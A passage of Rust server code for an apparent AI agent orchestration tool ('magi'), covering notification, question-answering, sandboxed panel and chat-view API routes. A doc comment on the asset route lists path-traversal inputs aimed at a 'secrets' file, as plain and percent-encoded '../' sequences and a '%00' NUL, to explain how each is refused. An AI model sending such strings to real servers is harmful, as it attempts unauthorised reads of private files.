8123            }
8124        }
8125    }
8126    let mut tasks: Vec<Task> = tasks.into_values().collect();
8127    tasks.sort_unstable_by(|a, b| b.priority.cmp(&a.priority).then_with(|| b.id.cmp(&a.id)));
8128    Ok((tasks, talks.into_values().collect(), watches))
8129}
8130
8131/// `GET /api/notifications`: not dismissed, newest first, with the unread
8132/// count so the badge and the list cannot disagree.
8133async fn notifications_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
8134    blocking(move || {
8135        let items = ui.notices.list();
8136        let unread = items.iter().filter(|n| n.unread()).count();
8137        let items: Vec<_> = items
8138            .into_iter()
8139            .map(|n| {
8140                let question = crate::notices::answerable_question(&n, &ui.questions);
8141                let mut item = serde_json::to_value(n)?;
8142                item["answerable_question"] = serde_json::json!(question);
8143                Ok(item)
8144            })
8145            .collect::<anyhow::Result<_>>()?;
8146        Ok(Json(
8147            serde_json::json!({ "unread": unread, "items": items }),
8148        ))
8149    })
8150    .await
8151}
8152
8153fn notice_error(e: anyhow::Error) -> ApiError {
8154    // An unknown or malformed id and a vanished file are the same answer to
8155    // the phone: that notification is gone.
8156    ApiError::not_found(format!("{e:#}"))
8157}
8158
8159/// `POST /api/notifications/{id}/read`.
8160async fn notification_read(
8161    State(ui): State<Arc<Ui>>,
8162    Path(id): Path<String>,
8163) -> ApiResult<Json<Notice>> {
8164    blocking(move || ui.notices.mark_read(&id).map(Json).map_err(notice_error)).await
8165}
8166
8167/// `POST /api/notifications/{id}/dismiss`.
8168async fn notification_dismiss(
8169    State(ui): State<Arc<Ui>>,
8170    Path(id): Path<String>,
8171) -> ApiResult<Json<Notice>> {
8172    blocking(move || ui.notices.dismiss(&id).map(Json).map_err(notice_error)).await
8173}
8174
8175/// `POST /api/notifications/read-all`.
8176async fn notifications_read_all(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
8177    blocking(move || {
8178        let changed = ui.notices.mark_all_read()?;
8179        Ok(Json(serde_json::json!({ "marked": changed })))
8180    })
8181    .await
8182}
8183
8184/// The body of `POST /api/questions/{id}/answer`.
8185///
8186/// Exactly one of the two fields, mirroring `ask::Answer`. Both or neither is
8187/// a bad request rather than a guess: an answer magi invented is worse than a
8188/// question left open.
8189#[derive(Debug, Default, Deserialize)]
8190#[serde(default, deny_unknown_fields)]
8191struct NewAnswer {
8192    choice: Option<String>,
8193    text: Option<String>,
8194    talk: Option<String>,
8195    head: Option<String>,
8196}
8197
8198async fn question_answer(
8199    State(ui): State<Arc<Ui>>,
8200    Path(id): Path<String>,
8201    body: std::result::Result<Json<NewAnswer>, axum::extract::rejection::JsonRejection>,
8202) -> ApiResult<Json<QuestionView>> {
8203    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
8204    let answer = match (body.choice, body.text) {
8205        (Some(c), None) => Answer::Choice(c),
8206        (None, Some(t)) => Answer::Text(t),
8207        (Some(_), Some(_)) => {
8208            return Err(ApiError::bad_request(
8209                "send either `choice` or `text`, not both",
8210            ));
8211        }
8212        (None, None) => {
8213            return Err(ApiError::bad_request("send a `choice` or a `text`"));
8214        }
8215    };
8216
8217    blocking(move || {
8218        let id = resolve_question(&ui.questions, &id)?;
8219        let q = ui
8220            .questions
8221            .get(&id)
8222            .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
8223        if !q.status.open() {
8224            // Answered from the terminal, or by another phone, in between the
8225            // list and the tap. The UI shows the recorded answer rather than an
8226            // error, so it needs the record, not just the status.
8227            return Err(ApiError::conflict(format!(
8228                "question {} is already {}",
8229                q.short(),
8230                q.status.as_str()
8231            )));
8232        }
8233        // `Question::answer` owns the rules - an unoffered choice, free text on
8234        // a multiple-choice question, an empty reply - so the route does not
8235        // restate them and cannot drift from the CLI's behaviour.
8236        let cfg = deputy_config(&ui.repo);
8237        let (q, ()) = ui
8238            .questions
8239            .update(&q.id, |r| {
8240                let merge = matches!(&answer, ask::Answer::Choice(c) if c == crate::land::APPROVE);
8241                // Buttons retain their displayed chat/head binding. A direct
8242                // decision does not require a button or a prior persona offer.
8243                if r.routed_task.is_some()
8244                    && r.merge_target.is_some()
8245                    && merge
8246                    && (body.talk.is_some() || body.head.is_some())
8247                {
8248                    let talk_id = body
8249                        .talk
8250                        .as_deref()
8251                        .context("approval button requires its chat")?;
8252                    let head = body
8253                        .head
8254                        .as_deref()
8255                        .context("approval button requires the displayed head")?;
8256                    let talk = ui.talks.get(talk_id)?;
8257                    anyhow::ensure!(talk.status.open(), "approval chat is closed");
8258                    r.answer_chat_button(answer, talk_id, head)
8259                } else {
8260                    r.answer(answer)
8261                }
8262            })
8263            .map_err(ApiError::bad_request_from)?;
8264        let (tasks, talks, watches) =
8265            question_origin_inputs(&ui, std::slice::from_ref(&q)).unwrap_or_default();
8266        Ok(Json(
8267            QuestionView::of(q, &ui.questions, cfg.as_ref()).with_origin(&tasks, &talks, &watches),
8268        ))
8269    })
8270    .await
8271}
8272
8273/// A dedicated status avoids the client's settled-question 409 handling.
8274fn question_text_error(e: anyhow::Error) -> ApiError {
8275    let reason = e
8276        .downcast_ref::<crate::question_delivery::TextUnavailable>()
8277        .map(|e| e.reason);
8278    let error = ApiError::bad_request_from(e);
8279    if let Some(reason) = reason {
8280        ApiError {
8281            text_reason: Some(reason),
8282            ..error.with_status(StatusCode::UNPROCESSABLE_ENTITY)
8283        }
8284    } else {
8285        error
8286    }
8287}
8288
8289/// The body of `POST /api/questions/{id}/say`.
8290#[derive(Debug, Deserialize)]
8291#[serde(deny_unknown_fields)]
8292struct NewSay {
8293    body: String,
8294}
8295
8296/// `POST /api/questions/{id}/say` - the owner talks back without deciding.
8297///
8298/// Synchronous, unlike `POST /api/talks/{id}/say`: that route spawns an agent
8299/// CLI and waits on it, this one only appends a [`ask::Turn`] and writes the
8300/// file, so there is no turn to serialize against and no
8301/// [`Ui::begin_talk_turn`] guard to take. The agent waiting on this question
8302/// is a *different* process - the run parked behind `magi ask` - and picks
8303/// the reply up on its own poll of the very same file, same as an answer
8304/// does.
8305async fn question_say(
8306    State(ui): State<Arc<Ui>>,
8307    Path(id): Path<String>,
8308    body: std::result::Result<Json<NewSay>, JsonRejection>,
8309) -> ApiResult<Json<QuestionView>> {
8310    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
8311    blocking(move || {
8312        let id = resolve_question(&ui.questions, &id)?;
8313        let q = ui
8314            .questions
8315            .get(&id)
8316            .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
8317        if !q.status.open() {
8318            // Same granularity as `question_answer`: answered or abandoned in
8319            // between the list and the tap is not this route's error to
8320            // explain any differently.
8321            return Err(ApiError::conflict(format!(
8322                "question {} is already {}",
8323                q.short(),
8324                q.status.as_str()
8325            )));
8326        }
8327        // `Question::say` owns the one rule that matters here - an empty
8328        // message tells the agent nothing - so the route does not restate it.
8329        let cfg = deputy_config(&ui.repo);
8330        let (q, ()) = ui
8331            .questions
8332            .update(&q.id, |r| {
8333                if body.body.trim().is_empty() {
8334                    return r.say(body.body);
8335                }
8336                crate::question_delivery::require(&ui.questions, r, cfg.as_ref())?;
8337                r.say(body.body)
8338            })
8339            .map_err(question_text_error)?;
8340        let (tasks, talks, watches) =
8341            question_origin_inputs(&ui, std::slice::from_ref(&q)).unwrap_or_default();
8342        Ok(Json(
8343            QuestionView::of(q, &ui.questions, cfg.as_ref()).with_origin(&tasks, &talks, &watches),
8344        ))
8345    })
8346    .await
8347}
8348
8349/// A disconnected request or a replacing listener cannot interrupt the short
8350/// transaction between persistence and detached worker publication.
8351async fn admitted<T: Send + 'static>(
8352    admission: AdmissionGuard,
8353    work: impl Future<Output = ApiResult<T>> + Send + 'static,
8354) -> ApiResult<T> {
8355    tokio::spawn(async move {
8356        let result = work.await;
8357        drop(admission);
8358        result
8359    })
8360    .await
8361    .map_err(|error| ApiError::internal(format!("work admission failed: {error}")))?
8362}
8363
8364/// `POST /api/questions/{id}/consult` - hand the question to the chat its task
8365/// came from. The question stays open: the chat agent answers it with `magi
8366/// answer`, or puts the decision to the owner in the conversation.
8367///
8368/// Answers 202 and runs the turn in the background, like every route that
8369/// spends agent calls. The text is queued as a draft of the existing talk, and
8370/// the turn goes through the talk's own gate and session; no seat or waiter is
8371/// started here.
8372async fn question_consult(
8373    State(ui): State<Arc<Ui>>,
8374    Path(id): Path<String>,
8375) -> ApiResult<(StatusCode, Json<QuestionView>)> {
8376    let admission = ui.begin_admission()?;
8377    admitted(admission, async move {
8378        let (q, tasks, talks, watches, talk, cfg) = blocking({
8379            let ui = Arc::clone(&ui);
8380            move || {
8381                let id = resolve_question(&ui.questions, &id)?;
8382                let q = ui.questions.get(&id).map_err(|e| {
8383                    ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR)
8384                })?;
8385                if !q.status.open() {
8386                    return Err(ApiError::conflict(format!(
8387                        "question {} is already {}",
8388                        q.short(),
8389                        q.status.as_str()
8390                    )));
8391                }
8392                let (tasks, talks, watches) =
8393                    question_origin_inputs(&ui, std::slice::from_ref(&q))?;
8394                let Some(talk) = crate::consult::origin_talk(&tasks, &talks, &q) else {
8395                    return Err(ApiError::conflict(format!(
8396                        "question {} has no chat to ask",
8397                        q.short()
8398                    )));
8399                };
8400                // Read the config before `begin` saves anything: a failure here
8401                // must leave no consult record or draft behind, or a retry would
8402                // see `fresh == false` and never start the turn.
8403                let cfg = if q.consult.is_none() {
8404                    Some(Config::discover(&talk.repo, None)?.0)
8405                } else {
8406                    None
8407                };
8408                Ok((q, tasks, talks, watches, talk, cfg))
8409            }
8410        })
8411        .await?;
8412        let _publication = crate::consult::publication_guard(&ui.talks, &talk.id)
8413            .await
8414            .map_err(ApiError::from)?;
8415        let (view, reclaimed, submitted) = blocking({
8416            let ui = Arc::clone(&ui);
8417            move || {
8418                let fresh = crate::consult::begin(&ui.questions, &ui.talks, &q, &talk)?;
8419                let claim = if fresh {
8420                    match ui.begin_queued_talk_turn(&talk.id)? {
8421                        Some(turn_guard) => {
8422                            let talk = ui.talks.get(&talk.id)?;
8423                            let cfg = match cfg {
8424                                Some(cfg) => cfg,
8425                                None => Config::discover(&talk.repo, None)?.0,
8426                            };
8427                            Some((talk, cfg, turn_guard))
8428                        }
8429                        None => None,
8430                    }
8431                } else {
8432                    None
8433                };
8434                let q = ui.questions.get(&q.id)?;
8435                let cfg = deputy_config(&ui.repo);
8436                let view = QuestionView::of(q, &ui.questions, cfg.as_ref())
8437                    .with_origin(&tasks, &talks, &watches);
8438                Ok((view, claim, fresh.then_some(talk.id)))
8439            }
8440        })
8441        .await?;
8442        #[cfg(not(test))]
8443        {
8444            if let Some(id) = submitted {
8445                crate::consult::spawn_turn(&ui.talks, &id)
8446                    .await
8447                    .map_err(ApiError::from)?;
8448            }
8449            drop(reclaimed);
8450        }
8451        #[cfg(test)]
8452        let _ = submitted;
8453        #[cfg(test)]
8454        if let Some((talk, cfg, turn_guard)) = reclaimed {
8455            let talks = ui.talks.clone();
8456            let id = talk.id.clone();
8457            tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
8458        }
8459        Ok((StatusCode::ACCEPTED, Json(view)))
8460    })
8461    .await
8462}
8463
8464/// Expand an id or short id to exactly one question id.
8465fn resolve_question(store: &Questions, id: &str) -> ApiResult<String> {
8466    if plain_record_id(id) && store.path_of(id).is_file() {
8467        return Ok(id.to_owned());
8468    }
8469    pick(
8470        store.list().into_iter().map(|q| q.id).collect(),
8471        id,
8472        "question",
8473    )
8474}
8475
8476/// `GET /api/questions/{id}/panel`.
8477///
8478/// The panel an agent wrote for this question, as `text/html` under
8479/// [`PANEL_CSP`], for the front end to mount in a sandboxed iframe.
8480/// A question without one is a 404 rather than an empty page: the client
8481/// preflights this route with `HEAD` and must be able to tell "no panel" from
8482/// "a panel that rendered blank", and a sandboxed frame is opaque to the
8483/// parent document so it cannot tell the difference by looking.
8484///
8485/// The body is whatever the agent wrote, byte for byte. Nothing here rewrites,
8486/// sanitises or minifies it - a sanitiser is a list of things someone thought
8487/// of, and the sandbox plus the CSP is a list of things that are allowed, which
8488/// is the direction that stays safe when an agent writes markup nobody
8489/// predicted.
8490async fn question_panel(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Response> {
8491    blocking(move || {
8492        let id = resolve_question(&ui.questions, &id)?;
8493        let Some(html) = ui.questions.panel_html(&id) else {
8494            return Err(ApiError::not_found(format!("question {id} has no panel")));
8495        };
8496        Ok(panel_response(
8497            "text/html; charset=utf-8",
8498            false,
8499            html.into_bytes(),
8500        ))
8501    })
8502    .await
8503}
8504
8505/// `GET /api/questions/{id}/asset/{name}`.
8506///
8507/// One file from the question's own panel directory, so a panel can show a
8508/// diff as an SVG or a screenshot as a PNG without the CSP's `img-src 'self'`
8509/// having to allow anything off this machine.
8510///
8511/// This is the only route in the server where a client names a file, so it is
8512/// the only one with a traversal surface, and the name is checked by
8513/// [`ask::valid_asset_name`] before a path is built from it. Which layer stops
8514/// what is worth being explicit about, because the answer is not "all of it in
8515/// one place":
8516///
8517/// * `asset/../../secrets` never reaches this handler at all. axum matches on
8518///   the raw request path and `{name}` spans exactly one segment, so a real
8519///   slash makes the request too long for the route and the router answers 404.
8520/// * `asset/%2e%2e%2fsecrets` and `asset/..%5csecrets` do reach it: axum
8521///   percent-decodes path parameters, so `name` arrives as `../secrets` and
8522///   `..\secrets` respectively, which look like plain filenames to the router.
8523///   The validator refuses them here - both for the literal `..` and because
8524///   `/` and `\` are not in the permitted character set - and answers 400.
8525/// * A name carrying a NUL (`%00`) decodes to a string Rust is happy with but
8526///   the platform's path API is not, and it is refused here for the same
8527///   reason: NUL is not a permitted character.
8528/// * [`Questions::panel_asset`] validates again on read, so the check is not
8529///   load-bearing in only one place. This route's own check exists so the
8530///   failure is a 400 that says which name was wrong, rather than a store error
8531///   the operator has to interpret.
8532async fn question_asset(
8533    State(ui): State<Arc<Ui>>,
8534    Path((id, name)): Path<(String, String)>,
8535) -> ApiResult<Response> {
8536    // Before any filesystem work and before any path is built: a name this
8537    // server will not serve should not become a `PathBuf` at all.
8538    if !crate::ask::valid_asset_name(&name) {
8539        return Err(ApiError::bad_request(format!(
8540            "`{name}` is not a usable asset name"
8541        )));
8542    }
8543    blocking(move || {
8544        let id = resolve_question(&ui.questions, &id)?;
8545        let asset = ui
8546            .questions
8547            .panel_asset(&id, &name)
8548            .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
8549        let Some(bytes) = asset else {
8550            return Err(ApiError::not_found(format!(
8551                "question {id} has no asset `{name}`"
8552            )));
8553        };
8554        Ok(panel_response(
8555            asset_content_type(&name),
8556            is_svg(&name),
8557            bytes,
8558        ))
8559    })
8560    .await
8561}
8562
8563/// Content type for a panel asset, from a closed whitelist.
8564///
8565/// A whitelist with an `application/octet-stream` fallback rather than a
8566/// guess, because the one answer that must never come out of here is
8567/// `text/html`. An agent that writes `notes.html` into its panel directory and
8568/// links it would otherwise get its own markup rendered at the top level of the
8569/// operator's browser - outside the sandboxed frame, outside [`PANEL_CSP`], on
8570/// magi's origin - which is precisely the thing the panel design exists to
8571/// prevent. Same reasoning for `.js` and `.json`: unlisted means downloaded.
8572///
8573/// `nosniff` accompanies this on every response, so a browser cannot decide it
8574/// knows better than the type we sent.
8575fn asset_content_type(name: &str) -> &'static str {
8576    match extension(name).as_deref() {
8577        Some("png") => "image/png",
8578        Some("jpg" | "jpeg") => "image/jpeg",
8579        Some("gif") => "image/gif",
8580        Some("webp") => "image/webp",
8581        Some("svg") => "image/svg+xml",
8582        Some("css") => "text/css; charset=utf-8",
8583        Some("txt") => "text/plain; charset=utf-8",
8584        _ => "application/octet-stream",
8585    }
8586}
8587
8588/// Is this an SVG, and therefore a file that must never be opened at the top
8589/// level?
8590fn is_svg(name: &str) -> bool {
8591    extension(name).as_deref() == Some("svg")
8592}
8593
8594/// Lowercased extension, or `None` for a name without one.
8595fn extension(name: &str) -> Option<String> {
8596    name.rsplit_once('.')
8597        .map(|(_, ext)| ext.to_ascii_lowercase())
8598}
8599
8600/// Every panel response, with the four headers that make it safe and, for an
8601/// SVG, a fifth.
8602///
8603/// One function rather than a header list per handler, because a panel route
8604/// that forgets [`PANEL_CSP`] is not a cosmetic bug: it is the whole security
8605/// model gone, silently, on one of two routes. Adding a third panel route later
8606/// means calling this, and there is nowhere else to build a panel response.
8607///
8608/// `download` is set for SVG only. An SVG is XML that may carry `<script>`, and
8609/// as an `<img src>` inside the panel that script cannot run - but the asset
8610/// URL is also a plain URL an operator can be talked into opening in a tab,
8611/// where it is a document on magi's own origin. `Content-Disposition:
8612/// attachment` makes the browser download it instead of rendering it, which
8613/// closes that door without taking away the ability to draw a diff. Raster
8614/// images have no such execution surface and are left inline, so tapping a
8615/// screenshot still shows it.
8616fn panel_response(content_type: &'static str, download: bool, body: Vec<u8>) -> Response {
8617    let mut res = (
8618        [
8619            (header::CONTENT_TYPE, content_type),
8620            (header::CONTENT_SECURITY_POLICY, PANEL_CSP),
8621            (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
8622            (header::REFERRER_POLICY, "no-referrer"),
8623        ],
8624        body,
8625    )
8626        .into_response();
8627    if download {
8628        res.headers_mut().insert(
8629            header::CONTENT_DISPOSITION,
8630            HeaderValue::from_static("attachment"),
8631        );
8632    }
8633    res
8634}
8635
8636/// A talk as the phone reads it.
8637///
8638/// Every field of [`Talk`] verbatim, plus `turn_bodies_md` - one markdown node
8639/// tree per entry of `turns`, in order - parsed server-side so `app.js` never
8640/// parses markdown itself - and the process-local `thinking` hint.
8641#[derive(Debug, Serialize)]
8642struct ChatApproval {
8643    question: String,
8644    target: crate::merge_decision::Target,
8645}
8646
8647#[derive(Debug, Serialize)]
8648struct TalkView {
8649    #[serde(flatten)]
8650    talk: Talk,
8651    turn_bodies_md: Vec<Vec<md::Node>>,
8652    /// Display-only Markdown, indexed by turn then message (legacy turns have one).
8653    turn_messages_md: Vec<Vec<Option<Vec<md::Node>>>>,
8654    pending_messages_md: Vec<Option<Vec<md::Node>>>,
8655    merge_approvals: Vec<ChatApproval>,
8656    /// Whether [`Ui::begin_talk_turn`] currently holds this talk's turn in
8657    /// this server process.
8658    ///
8659    /// This is deliberately not durable: another server process cannot see
8660    /// it, and a restarted server must not claim an old turn is live. It is a
8661    /// progress hint rather than proof a reply landed; the transcript remains
8662    /// the source of truth for that.
8663    thinking: bool,
8664    /// Context-window usage, derived per request - see
8665    /// [`talk::context_usage`]. Carried on every talk response (list, detail
8666    /// and each mutation) so the phone needs no extra call or polling.
8667    context: talk::ContextUsage,
8668    /// `[talk] operator_name`, when configured; the Chat labels the
8669    /// operator's turns with it.
8670    operator_name: Option<String>,
8671    /// The active persona's display name; `None` for the default voice.
8672    persona_name: Option<String>,
8673    /// URL of the avatar for the conversation's persona (the default voice
8674    /// included). Server-built; a configured `icon` never reaches the client.
8675    persona_avatar: String,
8676    /// Operator avatar; display only and independent of repository config.
8677    operator_avatar: String,
8678    magi_avatar: String,
8679}
8680
8681impl TalkView {
8682    /// Reads the talk's repository config itself; a config that cannot be
8683    /// read leaves the window unknown but never fails the conversation.
8684    fn new(talk: Talk, thinking: bool, ui: &Ui) -> Self {
8685        let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
8686        Self::with_config(talk, thinking, cfg.as_ref(), &ui.home, &ui.references)
8687    }
8688
8689    /// As [`Self::new`], with the config already in hand (the list reads one
8690    /// per repository, not one per conversation).
8691    fn with_config(
8692        talk: Talk,
8693        thinking: bool,
8694        cfg: Option<&Config>,
8695        home: &FsPath,
8696        cache: &id_links::IndexCache,
8697    ) -> Self {
8698        let references = cache.for_talk(home, &talk);
8699        Self::with_references(talk, thinking, cfg, home, &references)
8700    }
8701
8702    fn with_references(
8703        mut talk: Talk,
8704        thinking: bool,
8705        cfg: Option<&Config>,
8706        home: &FsPath,
8707        references: &id_links::IdIndex,
8708    ) -> Self {
8709        // This owned value is the display DTO; never write it back to the talk store.
8710        let snapshot = talk.clone();
8711        for (index, turn) in talk.turns.iter_mut().enumerate() {
8712            let original = &snapshot.turns[index];
8713            if turn.messages.is_empty() {
8714                if let Some(display) = talk::notice_display(&snapshot, original, None) {
8715                    turn.messages.push(talk::Message {
8716                        sender: Some(talk::Sender::Magi),
8717                        body: original.body.clone(),
8718                        display: Some(display),
8719                        attachments: original.attachments.clone(),
8720                        reply: None,
8721                    });
8722                }
8723            } else {
8724                for (i, message) in turn.messages.iter_mut().enumerate() {
8725                    message.display =
8726                        talk::notice_display(&snapshot, original, original.messages.get(i));
8727                    if message.display.is_some() {
8728                        message.sender = Some(talk::Sender::Magi);
8729                    }
8730                }
8731            }
8732        }
8733        for message in &mut talk.pending_messages {
8734            if message.display.is_none()
8735                && (message.sender == Some(talk::Sender::Magi)
8736                    || snapshot
8737                        .completion_notices
8738                        .iter()
8739                        .any(|r| r.notice == message.body))
8740            {
8741                message.display = crate::prompt::legacy_notice_display(&message.body);
8742                if message.display.is_some() {
8743                    message.sender = Some(talk::Sender::Magi);
8744                }
8745            }
8746        }
8747        if talk.pending_messages.is_empty()
8748            && snapshot
8749                .completion_notices
8750                .iter()
8751                .any(|r| r.notice == talk.pending)
8752            && let Some(display) = crate::prompt::legacy_notice_display(&talk.pending)
8753        {
8754            talk.pending_messages.push(talk::Message {
8755                sender: Some(talk::Sender::Magi),
8756                display: Some(display),
8757                body: talk.pending.clone(),
8758                attachments: talk.pending_attachments.clone(),
8759                reply: None,
8760            });
8761        }
8762        let excerpts: Vec<Vec<Option<String>>> = talk
8763            .turns
8764            .iter()
8765            .map(|turn| {
8766                turn.messages
8767                    .iter()
8768                    .map(|m| {
8769                        m.display
8770                            .as_ref()
8771                            .map(|d| d.facts.chars().take(240).collect())
8772                    })
8773                    .collect()
8774            })
8775            .collect();
8776        for turn in &mut talk.turns {
8777            let provenance = talk::sender(turn, None);
8778            turn.sender = Some(provenance);
8779            for message in &mut turn.messages {
8780                message.sender = Some(message.sender.unwrap_or(provenance));
8781            }
8782        }
8783        // Old reply snapshots have only a role; recover provenance from their target.
8784        let senders: Vec<Vec<talk::Sender>> = talk
8785            .turns
8786            .iter()
8787            .map(|turn| {
8788                if turn.messages.is_empty() {
8789                    vec![talk::sender(turn, None)]
8790                } else {
8791                    turn.messages
8792                        .iter()
8793                        .map(|m| talk::sender(turn, Some(m)))
8794                        .collect()
8795                }
8796            })
8797            .collect();
8798        for reply in talk
8799            .turns
8800            .iter_mut()
8801            .flat_map(|t| t.messages.iter_mut())
8802            .chain(talk.pending_messages.iter_mut())
8803            .filter_map(|m| m.reply.as_mut())
8804        {
8805            if let Some(Some(excerpt)) = excerpts
8806                .get(reply.target.turn)
8807                .and_then(|ms| ms.get(reply.target.message))
8808            {
8809                reply.excerpt = excerpt.clone();
8810                reply.sender = Some(talk::Sender::Magi);
8811            }
8812            if reply.sender.is_none() {
8813                reply.sender = senders
8814                    .get(reply.target.turn)
8815                    .and_then(|messages| messages.get(reply.target.message))
8816                    .copied();
8817            }
8818        }
8819        let context = talk::context_usage(&talk, cfg);
8820        let mut turn_bodies_md: Vec<Vec<md::Node>> = talk
8821            .turns
8822            .iter()
8823            .map(|turn| md::to_nodes(&turn.body, &md::ImageBase::None))
8824            .collect();
8825        let mut turn_messages_md: Vec<Vec<Option<Vec<md::Node>>>> = talk
8826            .turns
8827            .iter()
8828            .map(|turn| {
8829                if turn.messages.is_empty() {
8830                    vec![notice_markdown(talk::sender(turn, None), &turn.body, None)]
8831                } else {
8832                    turn.messages
8833                        .iter()
8834                        .map(|message| {
8835                            notice_markdown(
8836                                message.sender.unwrap_or(talk::Sender::Operator),
8837                                &message.body,
8838                                message.display.as_ref(),
8839                            )
8840                        })
8841                        .collect()
8842                }
8843            })
8844            .collect();
8845        let mut pending_messages_md: Vec<Option<Vec<md::Node>>> = talk
8846            .pending_messages
8847            .iter()
8848            .map(|message| {
8849                notice_markdown(
8850                    message.sender.unwrap_or(talk::Sender::Operator),
8851                    &message.body,
8852                    message.display.as_ref(),
8853                )
8854            })
8855            .collect();
8856        for nodes in &mut turn_bodies_md {
8857            references.markdown(nodes);
8858        }
8859        for nodes in turn_messages_md
8860            .iter_mut()
8861            .flatten()
8862            .chain(pending_messages_md.iter_mut())
8863            .flatten()
8864        {
8865            references.markdown(nodes);
8866        }
8867        let specs = cfg.map_or(&[][..], |c| &c.talk.personas[..]);
8868        let persona_name = persona::find(specs, &talk.persona)
8869            .filter(|p| !p.is_default())
8870            .map(|p| p.name);
8871        let mut avatar_persona = persona::find(specs, &talk.persona)
8872            .unwrap_or_else(|| persona::find(specs, persona::DEFAULT_ID).expect("default"));
8873        // A removed configured persona may still have an override and old talks.
8874        if avatar_persona.id != talk.persona
8875            && read_icon_file(&avatar_setting_path(home, Some(&talk.persona))).is_some()
8876        {
8877            avatar_persona.id.clone_from(&talk.persona);
8878            avatar_persona.icon = None;
8879        }
8880        let persona_avatar = avatar_url(home, &talk.id, &avatar_persona);
8881        let approvals_store = ask::Questions::at(home.join("questions"));
8882        let merge_approvals = talk
8883            .notified
8884            .iter()
8885            .filter_map(|key| key.strip_prefix("question:"))
8886            .filter_map(|id| approvals_store.get(id).ok())
8887            .filter(|q| crate::task_chat::approval_offered(&talk, q))
8888            .filter_map(|q| {
8889                Some(ChatApproval {
8890                    question: q.id,
8891                    target: q.merge_target?,
8892                })
8893            })
8894            .collect();
8895        let operator_name = cfg.and_then(|c| c.talk.operator_name()).map(str::to_owned);
8896        Self {
8897            turn_bodies_md,
8898            turn_messages_md,
8899            pending_messages_md,
8900            merge_approvals,
8901            thinking,
8902            context,
8903            operator_name,
8904            persona_name,
8905            persona_avatar,
8906            magi_avatar: magi_icon_url(home),
8907            operator_avatar: operator_icon_url(home),
8908            talk,
8909        }
8910    }
8911}
8912
8913/// Parse only the user-facing representation of an explicitly identified MAGI send.
8914fn notice_markdown(
8915    sender: talk::Sender,
8916    body: &str,
8917    display: Option<&crate::prompt::NoticeDisplay>,
8918) -> Option<Vec<md::Node>> {
8919    if sender != talk::Sender::Magi {
8920        return None;
8921    }
8922    let text = if let Some(display) = display {
8923        display.facts.as_str()
8924    } else {
8925        // Unknown completion templates may contain internal directives. Never
8926        // promote their agent input to the Markdown display surface.
8927        if crate::prompt::is_completion_notice(body)
8928            || body.starts_with(&format!("# {}\n", crate::prompt::CHAT_CONSULT_HEADING))
8929        {
8930            return None;
8931        }
8932        body.strip_prefix("magi: ").unwrap_or(body)
8933    };
8934    Some(md::to_nodes(text, &md::ImageBase::None))
8935}
8936
8937/// `GET /api/talks/{id}`'s answer: a [`TalkView`] plus the queue tasks this
8938/// conversation has filed, so the phone can follow one from inside the
8939/// conversation that asked for it rather than hunting the Queue for a task id
8940/// it may not remember.
8941#[derive(Debug, Serialize)]
8942struct TalkDetailView {
8943    #[serde(flatten)]
8944    view: TalkView,
8945    tasks: Vec<TaskView>,
8946    task_progress: TalkTaskProgress,
8947    /// The agents this talk's repository can switch to; empty when its
8948    /// configuration cannot be read, which must not fail the whole detail.
8949    roster: Vec<RosterEntry>,
8950    /// The personas the conversation can pick from. The built-ins are always
8951    /// listed, even when the repository's configuration cannot be read.
8952    personas: Vec<PersonaEntry>,
8953}
8954
8955/// Progress covers only the tasks returned alongside it, not unresolved chat topics.
8956#[derive(Debug, Serialize)]
8957struct TalkTaskProgress {
8958    state: &'static str,
8959    total: usize,
8960    done: usize,
8961    counts: std::collections::BTreeMap<&'static str, usize>,
8962    unfinished_ids: Vec<String>,
8963}
8964
8965fn talk_task_progress(tasks: &[Task]) -> TalkTaskProgress {
8966    let mut counts = std::collections::BTreeMap::from([
8967        ("queued", 0),
8968        ("running", 0),
8969        ("done", 0),
8970        ("failed", 0),
8971        ("held", 0),
8972        ("blocked", 0),
8973        ("parked", 0),
8974    ]);
8975    let mut unfinished_ids = Vec::new();
8976    for task in tasks {
8977        *counts.entry(task.status.as_str()).or_default() += 1;
8978        if task.status != TaskStatus::Done {
8979            unfinished_ids.push(task.id.clone());
8980        }
8981    }
8982    TalkTaskProgress {
8983        state: if tasks.is_empty() {
8984            "none"
8985        } else if unfinished_ids.is_empty() {
8986            "complete"
8987        } else {
8988            "incomplete"
8989        },
8990        total: tasks.len(),
8991        done: tasks.len() - unfinished_ids.len(),
8992        counts,
8993        unfinished_ids,
8994    }
8995}
8996
8997/// One persona as the talk's persona selector shows it.
8998#[derive(Debug, Serialize)]
8999struct PersonaEntry {
9000    id: String,
9001    name: String,
9002    /// Avatar URL, see [`TalkView::persona_avatar`].
9003    avatar: String,
9004}
9005
9006/// One roster agent as the talk's agent selector shows it.
9007#[derive(Debug, Serialize)]
9008struct RosterEntry {
9009    id: String,
9010    kind: AgentKind,
9011    /// Whether its CLI is on `PATH`, i.e. whether choosing it can work.
9012    runnable: bool,
9013}
9014
9015/// Bounded summaries; `/page` carries a cursor for older membership.
9016async fn talks_list(
9017    State(ui): State<Arc<Ui>>,
9018    Query(q): Query<ListQuery>,
9019    headers: header::HeaderMap,
9020) -> ApiResult<Json<Vec<TalkListView>>> {
9021    bulk_blocking(ui.monitor.bulk_slots.clone(), move || {
9022        let limit = q.limit.unwrap_or(50).min(50);
9023        let ids = if let Some(ids) = q.ids {
9024            ids.split(',')
9025                .filter(|id| plain_record_id(id))
9026                .take(limit)
9027                .map(str::to_owned)
9028                .collect()
9029        } else {
9030            page_ids(&ui, true, PageQuery::default())?
9031                .0
9032                .into_iter()
9033                .take(limit.min(STORE_PAGE_SIZE))
9034                .collect()
9035        };
9036        Ok(Json(talk_rows(&ui, ids, &headers)))
9037    })
9038    .await
9039}
9040
9041/// The body of `POST /api/talks`, all of it optional: opening a talk needs no
